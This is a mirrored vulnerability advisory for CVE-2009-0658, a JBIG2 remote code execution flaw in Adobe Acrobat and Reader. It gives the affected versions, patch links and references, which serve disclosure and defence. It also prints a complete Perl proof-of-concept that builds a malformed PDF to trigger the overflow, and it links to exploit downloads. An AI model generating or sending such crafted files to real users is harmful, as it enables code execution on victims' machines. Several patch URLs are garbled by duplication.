No account yet?
Home » Exploits » Adobe Acrobat and Reader PDF File Handling JBIG2 Image Remote Code Execution Vulnerability
Adobe Acrobat and Reader PDF File Handling JBIG2 Image Remote Code Execution Vulnerability E-mail
Feeds - Exploits
Written by Symantec   
Tuesday, 17 March 2009 21:55
Adobe Acrobat and Reader PDF File Handling JBIG2 Image Remote Code Execution Vulnerability


-\\Bugtraq ID:
33751

-\\Class:
Boundary Condition Error

-\\CVE:
CVE-2009-0658


-\\Remote:
Yes

-\\Local:
No

-\\Published:
Feb 19 2009 12:00AM

-\\Updated:
Mar 17 2009 05:26PM

-\\Credit:
Symantec



-\\Vulnerable:
Nortel Networks Self-Service Speech Server  0
Nortel Networks Self-Service Peri Application  0
Nortel Networks Self-Service MPS 500  0
Nortel Networks Self-Service MPS 1000  0
Nortel Networks CallPilot  703t
Nortel Networks CallPilot  600r
Nortel Networks CallPilot  201i
Nortel Networks CallPilot  1005r
Nortel Networks CallPilot  1002rp
Adobe Acrobat Standard 8.1.3
Adobe Acrobat Standard 8.1.2
Adobe Acrobat Standard 8.1.1
Adobe Acrobat Standard 7.0.8
Adobe Acrobat Standard 7.0.7
Adobe Acrobat Standard 7.0.6
Adobe Acrobat Standard 7.0.5
Adobe Acrobat Standard 7.0.4
Adobe Acrobat Standard 7.0.3
Adobe Acrobat Standard 7.0.2
Adobe Acrobat Standard 7.0.1
Adobe Acrobat Standard 7.0
Adobe Acrobat Standard  9
Adobe Acrobat Standard  8.1
Adobe Acrobat Standard  8.0
Adobe Acrobat Standard  7.1
Adobe Acrobat Reader (UNIX) 7.0.1
Adobe Acrobat Reader (UNIX) 7.0
Adobe Acrobat Reader 8.1.3
Adobe Acrobat Reader 8.1.2
Adobe Acrobat Reader 8.1.1
Adobe Acrobat Reader 7.0.9
Adobe Acrobat Reader 7.0.9
Adobe Acrobat Reader 7.0.8
Adobe Acrobat Reader 7.0.8
Adobe Acrobat Reader 7.0.7
Adobe Acrobat Reader 7.0.6
Adobe Acrobat Reader 7.0.5
Adobe Acrobat Reader 7.0.4
Adobe Acrobat Reader 7.0.3
Adobe Acrobat Reader 7.0.2
Adobe Acrobat Reader 7.0.1
Adobe Acrobat Reader 7.0
Adobe Acrobat Reader  9
Adobe Acrobat Reader  8.1.2 Security Updat
Adobe Acrobat Reader  8.1
Adobe Acrobat Reader  8.0
Adobe Acrobat Reader  7.1
Adobe Acrobat Professional 8.1.3
Adobe Acrobat Professional 8.1.2
Adobe Acrobat Professional 8.1.1
Adobe Acrobat Professional 7.0.9
Adobe Acrobat Professional 7.0.8
Adobe Acrobat Professional 7.0.7
Adobe Acrobat Professional 7.0.6
Adobe Acrobat Professional 7.0.5
Adobe Acrobat Professional 7.0.4
Adobe Acrobat Professional 7.0.3
Adobe Acrobat Professional 7.0.2
Adobe Acrobat Professional 7.0.1
Adobe Acrobat Professional 7.0
Adobe Acrobat Professional  9
Adobe Acrobat Professional  8.1.2 Security Updat
Adobe Acrobat Professional  8.1
Adobe Acrobat Professional  8.0
Adobe Acrobat Professional  7.1
Adobe Acrobat 7.0.3
Adobe Acrobat 7.0.2
Adobe Acrobat 7.0.1
Adobe Acrobat 7.0



-\\Not Vulnerable:
Adobe Acrobat Standard  9.1
Adobe Acrobat Reader  9.1
Adobe Acrobat Professional  9.1



-\\Discussion
Adobe Acrobat and Reader are prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the application or crash the application, denying service to legitimate users.

The issue affects Reader and Acrobat 9, 8.1.3 and prior, and 7.

UPDATE (February 24, 2009): Further reports suggest that this issue affects the vulnerable applications running on Apple Mac OS X and various Linux-based operating systems.



-\\Exploit(s)/PoC(s):
Symantec captured an attempt to exploit this issue as a part of a targeted attack in the wild via 'Trojan.Pidief.E'.

A working commercial exploit is available through VUPEN Security - Exploit and PoCs Service. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following commercial exploit is available for Immunity CANVAS:

https://www.immunityinc.com/downloads/immpartners/acrobat_jbig.tar.gz


The following proofs of concept are available:


============================
http://www.securityfocus.com/data/vulnerabilities/exploits/33751-poc.pdf

===============================================================
33751-PoC.pl
^^^^^^^^^^^^^
#!/usr/bin/perl
# k`sOSe 02/22/2009

# http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html

my $size = "\x40\x00";
my $factor = "ABCD";
my $data = "A" x 8314;


print pdf();

sub pdf()
{

"%PDF-1.5\n" .
"%\xec\xf5\xf2\xe1\xe4\xef\xe3\xf5\xed\xe5\xee\xf4\n" .
"3 0      \n" .
"xref\n" .
"3 16\n" .
"0000000023 00000 n \n" .
"0000000584 00000 n \n" .
"0000000865 00000 n \n" .
"0000001035 00000 n \n" .
"0000001158 00000 n \n" .
"0000001287 00000 n \n" .
"0000001338 00000 n \n" .
"0000001384 00000 n \n" .
"0000002861 00000 n \n" .
"0000003637 00000 n \n"  .
"0000005126 00000 n \n" .
"0000005173 00000 n \n" .
"0000005317 00000 n \n" .
"0000005370 00000 n \n" .
"0000005504 00000 n \n" .
"0000000714 00000 n \n" .
"trailer\n" .
"<</Root 4 0 R/Info 2 0 R/ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 19/Prev 10218>>\n" .
"startxref\n" .
"0\n" .
"%%EOF\n" .
"   \n" .
"4 0 obj\n" .
"<</Type/Catalog/Pages 1 0 R/OCProperties<</OCGs[9 0 R 13 0 R]/D<</Order[9 0 R 13 0 R]/ON[9 0 R 13 0 R]/OFF[]>>>>>>\n" .
"endobj\n" .
"         \n" .
"5 0 obj\n" .
"<</Type/Page/MediaBox[0 0 640 480]/Resources<</XObject<</Im001 7 0 R/Im002 10 0 R/Im003 11 0 R/Im004 14 0 R/Im005 16 0 R>>>>/Contents 6 0 R/Parent 1 0 R>>\n" .
"endobj\n" .
"6 0 obj\n" .
"<</Length 56/Filter/FlateDecode>>\n" .
"stream\n" .
"x\x9c\xe3*T031P\x00A\x13\x0b\x08\x9d\x9c\xab\xa0\xef\x99k``\xa8\xe0\x92\xaf\x10\xc8\x85[\x81\x11!\x05\xc6\x84\x14\x98\xc0\x14\xc0\$\@\xb4\x05\xb2\n" .
"S\xb0\n" .
"\x00J\x15#,\n" .
"endstream\n" .
"endobj\n" .

"12 0 obj\n" .
"<</Subtype/Image/Width 640/Height 480/ColorSpace/DeviceGray/BitsPerComponent 1/Decode[1 0]/Interpolate true/Length 1314/Filter/JBIG2Decode>>\n" .
"stream\n" .
"\x00\x00\x00\x01" . $size . $factor . "\x13" . $data . "endstream\n" .
"endobj\n" .
"13 0 obj\n" .
"<</Type/OCG/Name(Text Color)>>\n" .
"endobj\n" .
"14 0 obj\n" .
"<</Subtype/Image/Width 1/Height 1/ColorSpace/DeviceGray/BitsPerComponent 8/SMask 12 0 R/OC 15 0 R/Length 1>>\n" .
"stream\n" .
"\x00\n" .
"endstream\n" .
"endobj\n" .

"1 0 obj\n" .
"<</Type/Pages/Kids[5 0 R]/Count 1>>\n" .
"endobj\n" .
"xref\n" .
"0 3\n" .
"0000000000 65535 f \n" .
"0000009988 00000 n \n" .
"0000010039 00000 n \n" .
"trailer\n" .
"<</ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 3>>\n" .
"startxref\n" .
"104\n" .
"%%EOF\n";

}





-\\Solution
The vendor has released updates. Please see the references for more information.


Adobe Acrobat Reader  9
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Professional  9
--Adobe  AcroProStdUpd910_T1T2_incr.msp
http://ardownload.adobe.com/pub/adobe/acrobat/win/9.x/9.1/misc/AcroProStdUpd910_T1T2_incr.mshttp://ardownload.adobe.com/pub/adobe/acrobat/win/9.x/9.1/misc/AcroProStdUpd910_T1T2_incr.msp

Adobe Acrobat Reader  7.1
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader  8.0
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader  8.1
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Standard  9
--Adobe  AcroProStdUpd910_T1T2_incr.msp
http://ardownload.adobe.com/pub/adobe/acrobat/win/9.x/9.1/misc/AcroProStdUpd910_T1T2_incr.mshttp://ardownload.adobe.com/pub/adobe/acrobat/win/9.x/9.1/misc/AcroProStdUpd910_T1T2_incr.msp

Adobe Acrobat Reader 7.0
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 7.0.1
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 7.0.2
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 7.0.3
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 7.0.4
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 7.0.5
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 7.0.6
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 7.0.7
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 7.0.8
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 7.0.9
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 8.1.1
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 8.1.2
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe

Adobe Acrobat Reader 8.1.3
--Adobe  AdbeRdr910_en_US_Std.exe
http://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exhttp://ardownload.adobe.com/pub/adobe/reader/win/9.x/9.1/enu/AdbeRdr910_en_US_Std.exe



-\\Reference(s)
--/JBIG2Decode �??Look Mommy, No Hands!�?�
http://blog.didierstevens.com/2009/03/09/quickpost-jbig2decode-look-mommy-no-hands  (Didier Stevens)
--/JBIG2Decode Trigger Trio
http://blog.didierstevens.com/2009/03/04/quickpost-jbig2decode-trigger-trio  (Didier Stevens)
--Adobe Homepage
http://www.adobe.co  (Adobe)
--Adobe Reader and Acrobat 9.1 update available
http://blogs.adobe.com/psirt/2009/03/_adobe_reader_and_acrobat_91_u.htm  (Adobe)
--Adobe Reader and Acrobat issue
http://blogs.adobe.com/psirt/2009/02/adobe_reader_and_acrobat_issue.htm  (Adobe)
--APSA09-01 - Buffer overflow issue in versions 9.0 and earlier of Adobe Reader an
http://www.adobe.com/support/security/advisories/apsa09-01.htm  (Adobe)
--Nortel Response to Adobe APSA09-01 - Buffer overflow issue in v9.0 and earlier o
http://support.nortel.com/go/main.jsp?cscat=BLTNDETAIL&id=84424  (Nortel Networks)
--Security Updates available for Adobe Reader 9 and Acrobat 9
http://www.adobe.com/support/security/bulletins/apsb09-03.htm  (Adobe)
--Vulnerability Note VU#905281 Adobe Reader and Acrobat memory corruption vulnerab
http://www.kb.cert.org/vuls/id/90528  (US-CERT)
 

Security Services by HSC